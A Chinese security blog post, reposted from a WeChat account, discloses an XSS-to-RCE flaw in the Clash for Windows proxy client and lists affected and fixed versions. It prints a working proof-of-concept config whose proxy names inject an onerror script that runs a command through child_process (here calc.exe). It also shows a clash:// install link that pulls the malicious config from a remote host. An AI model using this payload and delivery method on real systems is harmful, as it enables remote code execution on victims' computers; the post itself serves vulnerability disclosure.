科学上网客户端 clash_for_windows_pkg 从XSS到RCE,你中招了吗?

admin 2022年2月26日13:27:08评论368 views字数 1180阅读3分56秒阅读模式

Clash

近几年来较高性能的代理软件,不仅支持vmess、ss、ssr等协议,还可通过自己的core来实现的相关代理协议。简单一句话:科学上网。多的不敢说了。


clash_for_windows_pkg

一款Clash的windows客户端,基Electron开发,github上star 高达近26k,相信使用的人不少。

https://github.com/Fndroid/clash_for_windows_pkg


漏洞简述

如果攻击者将代理的名字修改为Payload,就会触发XSS,从而在受害者机器执行js代码,最终形成XSS-->RCE的攻击。

科学上网客户端 clash_for_windows_pkg 从XSS到RCE,你中招了吗?


影响版本

clash_for_windows_pkg <= 0.19.8

P.S. 0.19.9 中未完全修复,仍然存在其他漏洞触发点


安全版本

clash_for_windows_pkg >= 0.19.10

复现

导入如下的Clash配置文件

port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>    type: socks5    server: 127.0.0.1    port: "17938"    skip-cert-verify: true  - name: abc    type: socks5    server: 127.0.0.1    port: "8088"    skip-cert-verify: true
proxy-groups: - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: select proxies: - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

切换Profiles(代理),点击Profiles代理(有时不需要,会直接触发)

科学上网客户端 clash_for_windows_pkg 从XSS到RCE,你中招了吗?


攻击思路

将恶意配置文件放到互联网上并使用clash://安装它,clash_for_windows_pkg 将自动下载并切换到此配置。

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE


参考链接

https://github.com/Fndroid/clash_for_windows_pkg/issues/2710

原文始发于微信公众号(我不是Hacker):科学上网客户端 clash_for_windows_pkg 从XSS到RCE,你中招了吗?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月26日13:27:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   科学上网客户端 clash_for_windows_pkg 从XSS到RCE,你中招了吗?https://cn-sec.com/archives/804885.html

发表评论

匿名网友 填写信息